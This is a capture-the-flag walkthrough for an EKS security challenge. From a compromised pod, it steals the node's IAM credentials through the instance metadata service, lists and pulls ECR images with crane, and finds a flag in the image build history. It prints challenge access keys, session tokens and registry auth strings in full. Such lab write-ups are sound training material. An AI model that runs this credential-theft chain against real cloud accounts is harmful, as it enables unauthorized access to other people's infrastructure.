EKS Cluster Games 2023

Scenario

A pod’s image holds more than just code. Dive deep into its ECR repository, inspect the image layers, and uncover the hidden secret.

Remember: You are running inside a compromised EKS pod.

For your convenience, the crane utility is already pre-installed on the machine.

Walkthrough

Aha. This challenge involves inspection of container image layers to uncover the hidden flag. The container image is stored in an ECR repository. So what we should do is find a way to access the ECR repository, download a container image, and inspect the image layers.

Amazon Elastic Container Registry (ECR) is a managed container registry service managed by AWS. An AWS IAM role associated with ECR-related policies is required to interact with an ECR registry. First, let’s find out an AWS IAM credential we can use to gain access to the ECR.

Based on the hint given, we are inside a compromised pod. A common attack vector to get an AWS IAM credential is to send a HTTP request to the Instance Metadata Services (IMDS). This would allow us to retrieve data about an EC2 instance where the compromised pod is running on, including the instance IAM credential.

First, we can figure out the version of IMDS by sending the following HTTP request.

1
2
3
4
root@wiz-eks-challenge:~# curl http://169.254.169.254/latest
dynamic
meta-data
user-data

We are getting back a server response that shows the available directories, which indicated 2 things:

IMDSv2 is not enforced, as a session token is not required in the request.
IP packets’ Time To Live (TTL) is not set to 1 which allows a network packet to make more than one “hop” in the network, travels in to and out of the EC2 instance.

Since IMDSv1 is enabled, we can easily retrieve the instance IAM credential by running the following command:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@wiz-eks-challenge:~# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   511  100   511    0     0   1313      0 --:--:-- --:--:-- --:--:--  1313
{
  "AccessKeyId": "ASIA2AVYNEVMZVBU36E2",
  "Expiration": "2023-11-03 07:07:26+00:00",
  "SecretAccessKey": "BuP0kMUVHrAF4l79WBqyoiFCYSXpE9GPGVwocoF+",
  "SessionToken": "FwoGZXIvYXdzEBgaDJK4phHHiGsJjCiZwiK3AbthLqzvWA5JOJw3OVnHdH3KwTf/zshHBC6ZNp/wq1faCK062H3MWv2urc14vLM8zQ/msSyTw5GQQjd7yDA6p9rG6uco6O2eyptLX7UmFoPyiA5NMJ1UV2auSoqLued5UXG6zSJiC7DJ5bAkRUe2Yad15DYCSNau9tACZlhenE+QzUZ5A8jIbDYAIMpKLQz/NX+uwMpP6kPhbF9zphTonzI66eWNLkpgoupV9cjuv8ZVQmuEUFjLvyienJKqBjItGRkBUF860BgrZ0In2Fl3Ni515qPiJ88X6MY8MvrAs2OYy+CmjOImPD2Xwy6+"
}

Now we have the access key ID, secret access key, and session token of the role attached to the EC2 instance. We can use it to access the ECR. Let’s set those information as environment variables before using awscli.

1
2
3
root@wiz-eks-challenge:~# export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMZVBU36E2
root@wiz-eks-challenge:~# export AWS_SECRET_ACCESS_KEY=BuP0kMUVHrAF4l79WBqyoiFCYSXpE9GPGVwocoF+
root@wiz-eks-challenge:~# export AWS_SESSION_TOKEN=FwoGZXIvYXdzEBgaDJK4phHHiGsJjCiZwiK3AbthLqzvWA5JOJw3OVnHdH3KwTf/zshHBC6ZNp/wq1faCK062H3MWv2urc14vLM8zQ/msSyTw5GQQjd7yDA6p9rG6uco6O2eyptLX7UmFoPyiA5NMJ1UV2auSoqLued5UXG6zSJiC7DJ5bAkRUe2Yad15DYCSNau9tACZlhenE+QzUZ5A8jIbDYAIMpKLQz/NX+uwMpP6kPhbF9zphTonzI66eWNLkpgoupV9cjuv8ZVQmuEUFjLvyienJKqBjItGRkBUF860BgrZ0In2Fl3Ni515qPiJ88X6MY8MvrAs2OYy+CmjOImPD2Xwy6+

Next, we can check if we have done the configuration properly by running the following command:

1
2
3
4
5
6
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMQ3Z5GHZHS:i-0cb922c6673973282",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282"
}

The configuration was done properly as we can see our current identity is an assumed role - arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282.

With EC2 instance IAM role, now we can access the ECR.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 root@wiz-eks-challenge:~# aws ecr describe-repositories
{
    "repositories": [
        {
            "repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/testos",
            "registryId": "688655246681",
            "repositoryName": "testos",
            "repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/testos",
            "createdAt": "2023-10-29T17:52:00+00:00",
            "imageTagMutability": "MUTABLE",
            "imageScanningConfiguration": {
                "scanOnPush": false
            },
            "encryptionConfiguration": {
                "encryptionType": "AES256"
            }
        },
        {
            "repositoryArn": "arn:aws:ecr:us-west-1:688655246681:repository/central_repo-aaf4a7c",
            "registryId": "688655246681",
            "repositoryName": "central_repo-aaf4a7c",
            "repositoryUri": "688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c",
            "createdAt": "2023-11-01T13:31:27+00:00",
            "imageTagMutability": "MUTABLE",
            "imageScanningConfiguration": {
                "scanOnPush": false
            },
            "encryptionConfiguration": {
                "encryptionType": "AES256"
            }
        }
    ]
}

Sweet. This credential has permission to describe repositories as we can see 2 repositories are listed. Our goal is to inspect a container image, so let’s find out the container images stored inside the repositories.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@wiz-eks-challenge:~# aws ecr list-images --repository-name testos
{
    "imageIds": []
}
root@wiz-eks-challenge:~# aws ecr list-images --repository-name central_repo-aaf4a7c
{
    "imageIds": [
        {
            "imageDigest": "sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01",
            "imageTag": "374f28d8-container"
        }
    ]
}

We can see that there is only one image found in the central_repo-aaf4a7c repository. We can then pull the image using crane. Before that, we need to get a login password for crane to perform the login authentication.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@wiz-eks-challenge:~# aws ecr get-login-password | crane auth login -u AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
2023/11/03 06:23:47 logged in via /home/user/.docker/config.json
root@wiz-eks-challenge:~# cat .docker/config.json 
{
        "auths": {
                "688655246681.dkr.ecr.us-west-1.amazonaws.com": {
                        "auth": "QVdTOmV5SndZWGxzYjJGa0lqb2lTRE5pWmxJeWVXMTFablpzWkdKSmEwc3hjMk5RTmpNMmNVTktZVzR4Um1WMGJFaHlRV0pKY1VkTE0zcElka1ZNVEZac2VtOVVSbEkyTlU0MVR6bHpSRnBVT1ZCdGFWVlZTamRrUWtsdVNXSTFXbk5uYW5oeGJuRkphV1ozYm5GWGExVTVTV2xaYkVreFZrMUhTSFZGUTNwUFpHUjRWM2xLYlRJMFlYcDJaekpyY1NzM05UbDRiVmxtSzNkRlRIcFlaSGhKZFdNMGVuQlBXV3htVjNneE1WVTVkbVJpWm1kd1F6QTRkV2hzVVVKb1drY3JURkF2TTBkeWFXZHpkMVJGVGtKNlRHeEZWR0ZuWlZORlFtWkRUVVprVm5nd0wyMXhOSFJOUmsxaU1GZGFUR1oyTURGWlRIUmlLemw0VGtzeEszaHRVemxWZG10VlIwMDRRa0p2VjNGalJITmtaVWxGVkRFNFMyNVRPSFpVWVU0eFowWlJSM1EwYzBwNlVuY3JjM0JMZFVGMWMxUlRjREJRTm5GWmNqTkxhR2xrZUdReVFqZFRVMHhZYmxoSGFYY3hUWEpIVTFnNFFrOVRiMmxLV0hka1pqaEVOWEU0VlZnMVYwSjFOek0yYlZGc2RYVkNUa0ZWTTBsdkwydGFVVGw0VFRGSE9UVjBaRkZEWmxOa1F6VmxjWHBVUkZrM1lVUkNSbTR4TmpSRU5USXhXVUV5ZEhaaVluQm5TMVpJVFc1NEsycGljWGw2VjJ0VVJrMDBjVmRCTlhkUlJrTXdOVmRSUzBkTlduWnRlbkYwYVdKTFUyTkJNMjVRYWxkelZVOTBSMDR2Y0ZOU01sSnhNRFYwTUV4bVMzSk5ZemxqZVd4NU5rWTNjalk1VkRNeGRrbEpORmR5U0VkeWJ6bEVPSEJ0UkRWT2FHTklkU3R4Y1RkSmJsRnlWVGxYVFc0d1NVUnVObU50UlZVME1YSkRkR2RQVUN0UEsyVkdTRkZxT1VaRlUxSldiMXBOVGxGUVoyeDVNMFpJTldzemNIcFRkRWcxTm5SMmJqZDFVRmMwWm1OcE1reDFkV05VV1RCell6UTRiMnRYVTFkUVRETnpja2xWV0VFeldtdHVjRW9yVTA1VlJEaHJVVGQzU1M5dWFYSlhNSFl2YjFsRk1EWnlTVlF4Vmk5dGFVZG9VMUZJTkZRM1MzSXdWMmMxZHpabVkzaEpOa0ZRY25kWU5UbFJTbGRDUlZONFkzbHJOblZEYW1Fd1IyeDVVREpTUTNKeWJ6aEJjbmM1ZUZOMGJURnBkalI1V0VOeGVXZDFablJ1VlZaUVVHbE9iVmhFZW1ocWRrSk1LMnQyV0hBNE5qQnpOalZMTlVjd2RFOTZOVmd3ZUVWa2RrdHVUalZXY2pZdlIyOXdiSEpZYkhkd09IUXlRMFE0YlZCT2RETjZhWFpCVldOTVIxaEtlVzFvVlU5c00xUndNRFJZVWpORUszaFhhRTlhZDIxamJFRnZVRkJpVlVGRVNuUklUelkxVDNGSk4zQnNOVXROT0RST1JTdFhZMk5FU1UxT1prdE5hMVY0U0ZoYU1FTkpPV2huZG00clowTXJXbVJXZFdWc1VHTkpkV2hWTDNwbFpHRkpiMjVZVkRKQlprVnhOVUkxYUV0TFZHcHhVMDFyTDI1c05HdEthMFpYVm1veU5sRTBSR3BpTms4MFFqUmllREJ4UlN0UU5GUndSVkpMU25sTFEwODVkbGh5U1VKSk4wWlViamhJZVRWWWRqYzBXbmhZTlRKM00zQkdVV3RqTlRsaldFMXBlVVJNYjFaU1FYRXJiMjFSTjNCbWNVTmxWMUJITkZCQmJWQXJRemwyZEVadFNXVktMelV5WW01eVoyZGxNaXRXVVZjNGFIcElWRmx0SzFwQ1lXMVBaVnBuVFZsUlRrOW1XVk42TWxGVFVHOVZORmN3YVhGRU4wVlFhV05SVVhWSU1GQTNVa0pvVjBaRU1UYzFRM3BHTkU5dE5GcHFVRXAxTWxJNVJYTkZLMHd4U1ZBMGMwUnRkVVJJVlhkMWNrMDBXR3RqYVhKTVNuTnRVREV6UTBkMFlqTjBiR3BPVTJ4RlVGcDNaa1JEZEd4bWRFUXlRVFp6ZVhGdU9IcGtjVzVVUlZkRGVUQXhXbU12WTNaNGEydGhaelYyTlc0MFUzTXhSSFZYTjFwNlUyb3lPR3R4UTFKbkwyTnNUemd5YzFwMGJYWkRVMU5uVURONlNITXhTblZUTWxWVVN6ZG5XVkpvVlZSSWFsWkhTRk0zV1dZeE9XUkNjVEpwYWsweFp6MGlMQ0prWVhSaGEyVjVJam9pUVZGRlFrRklhV3BGUmxoSGQwWXhZMmx3Vms5aFkwYzRjVkp0U205V1FsQmhlVGhNVlZWMlZUaFNRMVpXTUZodlNIZEJRVUZJTkhkbVFWbEtTMjlhU1doMlkwNUJVV05IYjBjNGQySlJTVUpCUkVKdlFtZHJjV2hyYVVjNWR6QkNRbmRGZDBobldVcFpTVnBKUVZkVlJFSkJSWFZOUWtWRlJFcFZlV0U1WVhwNk9XOVplVW92ZDFCUlNVSkZTVUUzVERaTVNVY3pXRWRXYnl0alpITTNlR3hYUldGU1JEWm5aa1IyZERaQ1NWRkNhQzlvUmt0RU5sSkRZVXBMWTFCbGJWVmtSbUp4WTNWSWNHWmhjbWxMYmpGc1kyUTRhMUZ5WmswdmFsTXhSVDBpTENKMlpYSnphVzl1SWpvaU1pSXNJblI1Y0dVaU9pSkVRVlJCWDB0RldTSXNJbVY0Y0dseVlYUnBiMjRpT2pFMk9Ua3dNelU0TWpaOQ=="
                },
                "https://index.docker.io/v1/": {
                        "auth": "ZWtzY2x1c3RlcmdhbWVzOmRja3JfcGF0X1l0bmNWLVI4NW1HN200bHI0NWlZUWo4RnVDbw=="
                }
        }
}

After a successful authentication, we can pull the remote image by reference and store the content locally using the following command:

1
crane pull 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 out.tar

Extract the exported tarball and we can see the following files:

1
2
3
root@wiz-eks-challenge:~# ls
3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz  manifest.json  out1.tar
e7310b04c944c3e0bbb9ebc04b885dc7ad937061e0dc77c73449ef133eab4fd9.tar.gz  out.tar        sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3

After looking through the files and we can find the flag inside sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
root@wiz-eks-challenge:~# cat sha256:575a75bed1bdcf83fba40e82c30a7eec7bc758645830332a38cef238cd4cf0f3 | jq
cat: cat: No such file or directory
{
  "architecture": "amd64",
  "config": {
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sleep",
      "3133337"
    ],
    "ArgsEscaped": true,
    "OnBuild": null
  },
    [...SNIP...]
    {
      "created": "2023-11-01T13:32:07.782534085Z",
      "created_by": "RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal_the_secrets_to_the_future} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit",
      "comment": "buildkit.dockerfile.v0"
    },
    {
      "created": "2023-11-01T13:32:07.782534085Z",
      "created_by": "CMD [\"/bin/sleep\" \"3133337\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f",
      "sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5"
    ]
  }
}

So far we have seen the risk of permissive RBAC assignment and hardcoded secret, next challenge will lead us to a more exciting scenario where we need to break out of a pod.

EKS Cluster Games 2023 - Challenge 3

Challenge #3: Image Inquisition

Scenario

Walkthrough